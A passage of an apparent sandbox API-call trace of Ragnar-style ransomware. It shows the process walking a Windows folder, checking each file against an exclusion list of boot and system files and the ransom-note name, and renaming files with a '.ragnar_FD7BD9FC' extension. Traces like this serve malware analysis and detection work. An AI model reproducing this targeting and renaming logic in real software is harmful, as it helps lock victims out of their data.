Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0053.449] CloseHandle (hObject=0xffffffff) returned 0 [0053.449] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" [0053.449] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.ragnar_FD7BD9FC" [0053.449] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0053.450] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0053.450] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0053.450] lstrcpyW (in: lpString1=0x1eab62, lpString2="FlickLearningWizard.exe.mui" | out: lpString1="FlickLearningWizard.exe.mui") returned="FlickLearningWizard.exe.mui" [0053.450] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned=".mui" [0053.450] lstrcmpiW (lpString1="FlickLearningWizard.exe.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0053.450] lstrcmpiW (lpString1="FlickLearningWizard.exe.mui", lpString2="autorun.inf") returned 1 [0053.450] lstrcmpiW (lpString1="FlickLearningWizard.exe.mui", lpString2="boot.ini") returned 1 [0053.450] lstrcmpiW (lpString1="FlickLearningWizard.exe.mui", lpString2="bootfont.bin") returned 1 [0053.450] lstrcmpiW (lpString1="FlickLearningWizard.exe.mui", lpString2="bootsect.bak") returned 1 [0053.450] lstrcmpiW (lpString1="FlickLearningWizard.exe.mui", lpString2="bootmgr") returned 1 [0053.450] lstrcmpiW (lpString1="FlickLearningWizard.exe.mui", lpString2="bootmgr.efi") returned 1 [0053.450] lstrcmpiW (lpString1="FlickLearningWizard.exe.mui", lpString2="bootmgfw.efi") returned 1 [0053.450] lstrcmpiW (lpString1="FlickLearningWizard.exe.mui", lpString2="desktop.ini") returned 1 [0053.450] lstrcmpiW (lpString1="FlickLearningWizard.exe.mui", lpString2="iconcache.db") returned -1 [0053.450] lstrcmpiW (lpString1="FlickLearningWizard.exe.mui", lpString2="ntldr") returned -1 [0053.450] lstrcmpiW (lpString1="FlickLearningWizard.exe.mui", lpString2="ntuser.dat") returned -1 [0053.450] lstrcmpiW (lpString1="FlickLearningWizard.exe.mui", lpString2="ntuser.dat.log") returned -1 [0053.450] lstrcmpiW (lpString1="FlickLearningWizard.exe.mui", lpString2="ntuser.ini") returned -1 [0053.450] lstrcmpiW (lpString1="FlickLearningWizard.exe.mui", lpString2="thumbs.db") returned -1 [0053.450] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0053.450] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0053.450] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0053.450] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0053.450] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0053.450] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0053.450] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0053.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui")) returned 0x20 [0053.452] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0053.453] CloseHandle (hObject=0xffffffff) returned 0 [0053.453] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" [0053.453] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui.ragnar_FD7BD9FC" [0053.453] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0053.453] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0053.453] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0053.453] lstrcpyW (in: lpString1=0x1eab62, lpString2="InkObj.dll.mui" | out: lpString1="InkObj.dll.mui") returned="InkObj.dll.mui" [0053.453] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned=".mui" [0053.453] lstrcmpiW (lpString1="InkObj.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0053.453] lstrcmpiW (lpString1="InkObj.dll.mui", lpString2="autorun.inf") returned 1 [0053.453] lstrcmpiW (lpString1="InkObj.dll.mui", lpString2="boot.ini") returned 1 [0053.453] lstrcmpiW (lpString1="InkObj.dll.mui", lpString2="bootfont.bin") returned 1 [0053.453] lstrcmpiW (lpString1="InkObj.dll.mui", lpString2="bootsect.bak") returned 1 [0053.453] lstrcmpiW (lpString1="InkObj.dll.mui", lpString2="bootmgr") returned 1 [0053.453] lstrcmpiW (lpString1="InkObj.dll.mui", lpString2="bootmgr.efi") returned 1 [0053.453] lstrcmpiW (lpString1="InkObj.dll.mui", lpString2="bootmgfw.efi") returned 1 [0053.453] lstrcmpiW (lpString1="InkObj.dll.mui", lpString2="desktop.ini") returned 1 [0053.453] lstrcmpiW (lpString1="InkObj.dll.mui", lpString2="iconcache.db") returned 1 [0053.453] lstrcmpiW (lpString1="InkObj.dll.mui", lpString2="ntldr") returned -1 [0053.453] lstrcmpiW (lpString1="InkObj.dll.mui", lpString2="ntuser.dat") returned -1 [0053.453] lstrcmpiW (lpString1="InkObj.dll.mui", lpString2="ntuser.dat.log") returned -1 [0053.453] lstrcmpiW (lpString1="InkObj.dll.mui", lpString2="ntuser.ini") returned -1 [0053.453] lstrcmpiW (lpString1="InkObj.dll.mui", lpString2="thumbs.db") returned -1 [0053.453] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0053.453] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0053.453] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0053.453] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0053.454] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0053.454] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0053.454] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0053.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20 [0053.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0053.454] CloseHandle (hObject=0xffffffff) returned 0 [0053.454] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" [0053.454] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui.ragnar_FD7BD9FC" [0053.454] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0053.454] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0053.454] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0053.454] lstrcpyW (in: lpString1=0x1eab62, lpString2="InkWatson.exe.mui" | out: lpString1="InkWatson.exe.mui") returned="InkWatson.exe.mui" [0053.454] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned=".mui" [0053.454] lstrcmpiW (lpString1="InkWatson.exe.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0053.454] lstrcmpiW (lpString1="InkWatson.exe.mui", lpString2="autorun.inf") returned 1 [0053.454] lstrcmpiW (lpString1="InkWatson.exe.mui", lpString2="boot.ini") returned 1 [0053.454] lstrcmpiW (lpString1="InkWatson.exe.mui", lpString2="bootfont.bin") returned 1 [0053.454] lstrcmpiW (lpString1="InkWatson.exe.mui", lpString2="bootsect.bak") returned 1 [0053.454] lstrcmpiW (lpString1="InkWatson.exe.mui", lpString2="bootmgr") returned 1 [0053.454] lstrcmpiW (lpString1="InkWatson.exe.mui", lpString2="bootmgr.efi") returned 1 [0053.454] lstrcmpiW (lpString1="InkWatson.exe.mui", lpString2="bootmgfw.efi") returned 1 [0053.454] lstrcmpiW (lpString1="InkWatson.exe.mui", lpString2="desktop.ini") returned 1 [0053.454] lstrcmpiW (lpString1="InkWatson.exe.mui", lpString2="iconcache.db") returned 1 [0053.454] lstrcmpiW (lpString1="InkWatson.exe.mui", lpString2="ntldr") returned -1 [0053.454] lstrcmpiW (lpString1="InkWatson.exe.mui", lpString2="ntuser.dat") returned -1 [0053.455] lstrcmpiW (lpString1="InkWatson.exe.mui", lpString2="ntuser.dat.log") returned -1 [0053.455] lstrcmpiW (lpString1="InkWatson.exe.mui", lpString2="ntuser.ini") returned -1 [0053.455] lstrcmpiW (lpString1="InkWatson.exe.mui", lpString2="thumbs.db") returned -1 [0053.455] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0053.455] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0053.455] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0053.455] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0053.455] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0053.455] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0053.455] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0053.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui")) returned 0x20 [0053.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0053.457] CloseHandle (hObject=0xffffffff) returned 0 [0053.457] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" [0053.457] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui.ragnar_FD7BD9FC" [0053.457] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0053.458] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0053.458] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0053.458] lstrcpyW (in: lpString1=0x1eab62, lpString2="InputPersonalization.exe.mui" | out: lpString1="InputPersonalization.exe.mui") returned="InputPersonalization.exe.mui" [0053.458] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned=".mui" [0053.458] lstrcmpiW (lpString1="InputPersonalization.exe.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0053.458] lstrcmpiW (lpString1="InputPersonalization.exe.mui", lpString2="autorun.inf") returned 1 [0053.458] lstrcmpiW (lpString1="InputPersonalization.exe.mui", lpString2="boot.ini") returned 1 [0053.458] lstrcmpiW (lpString1="InputPersonalization.exe.mui", lpString2="bootfont.bin") returned 1 [0053.458] lstrcmpiW (lpString1="InputPersonalization.exe.mui", lpString2="bootsect.bak") returned 1 [0053.458] lstrcmpiW (lpString1="InputPersonalization.exe.mui", lpString2="bootmgr") returned 1 [0053.458] lstrcmpiW (lpString1="InputPersonalization.exe.mui", lpString2="bootmgr.efi") returned 1 [0053.458] lstrcmpiW (lpString1="InputPersonalization.exe.mui", lpString2="bootmgfw.efi") returned 1 [0053.458] lstrcmpiW (lpString1="InputPersonalization.exe.mui", lpString2="desktop.ini") returned 1 [0053.458] lstrcmpiW (lpString1="InputPersonalization.exe.mui", lpString2="iconcache.db") returned 1 [0053.458] lstrcmpiW (lpString1="InputPersonalization.exe.mui", lpString2="ntldr") returned -1 [0053.458] lstrcmpiW (lpString1="InputPersonalization.exe.mui", lpString2="ntuser.dat") returned -1 [0053.458] lstrcmpiW (lpString1="InputPersonalization.exe.mui", lpString2="ntuser.dat.log") returned -1 [0053.458] lstrcmpiW (lpString1="InputPersonalization.exe.mui", lpString2="ntuser.ini") returned -1 [0053.458] lstrcmpiW (lpString1="InputPersonalization.exe.mui", lpString2="thumbs.db") returned -1 [0053.458] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0053.458] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0053.458] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0053.458] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0053.458] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0053.458] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0053.458] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0053.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20 [0053.492] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0053.493] CloseHandle (hObject=0xffffffff) returned 0 [0053.493] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" [0053.493] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui.ragnar_FD7BD9FC" [0053.493] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0053.493] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0053.493] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0053.493] lstrcpyW (in: lpString1=0x1eab62, lpString2="IPSEventLogMsg.dll.mui" | out: lpString1="IPSEventLogMsg.dll.mui") returned="IPSEventLogMsg.dll.mui" [0053.493] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned=".mui" [0053.493] lstrcmpiW (lpString1="IPSEventLogMsg.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0053.493] lstrcmpiW (lpString1="IPSEventLogMsg.dll.mui", lpString2="autorun.inf") returned 1 [0053.493] lstrcmpiW (lpString1="IPSEventLogMsg.dll.mui", lpString2="boot.ini") returned 1 [0053.493] lstrcmpiW (lpString1="IPSEventLogMsg.dll.mui", lpString2="bootfont.bin") returned 1 [0053.493] lstrcmpiW (lpString1="IPSEventLogMsg.dll.mui", lpString2="bootsect.bak") returned 1 [0053.493] lstrcmpiW (lpString1="IPSEventLogMsg.dll.mui", lpString2="bootmgr") returned 1 [0053.493] lstrcmpiW (lpString1="IPSEventLogMsg.dll.mui", lpString2="bootmgr.efi") returned 1 [0053.493] lstrcmpiW (lpString1="IPSEventLogMsg.dll.mui", lpString2="bootmgfw.efi") returned 1 [0053.493] lstrcmpiW (lpString1="IPSEventLogMsg.dll.mui", lpString2="desktop.ini") returned 1 [0053.493] lstrcmpiW (lpString1="IPSEventLogMsg.dll.mui", lpString2="iconcache.db") returned 1 [0053.493] lstrcmpiW (lpString1="IPSEventLogMsg.dll.mui", lpString2="ntldr") returned -1 [0053.493] lstrcmpiW (lpString1="IPSEventLogMsg.dll.mui", lpString2="ntuser.dat") returned -1 [0053.493] lstrcmpiW (lpString1="IPSEventLogMsg.dll.mui", lpString2="ntuser.dat.log") returned -1 [0053.493] lstrcmpiW (lpString1="IPSEventLogMsg.dll.mui", lpString2="ntuser.ini") returned -1 [0053.493] lstrcmpiW (lpString1="IPSEventLogMsg.dll.mui", lpString2="thumbs.db") returned -1 [0053.493] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0053.493] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0053.493] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0053.494] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0053.494] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0053.494] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0053.494] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0053.494] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20 [0053.494] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0053.494] CloseHandle (hObject=0xffffffff) returned 0 [0053.494] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" [0053.494] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.ragnar_FD7BD9FC" [0053.494] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft 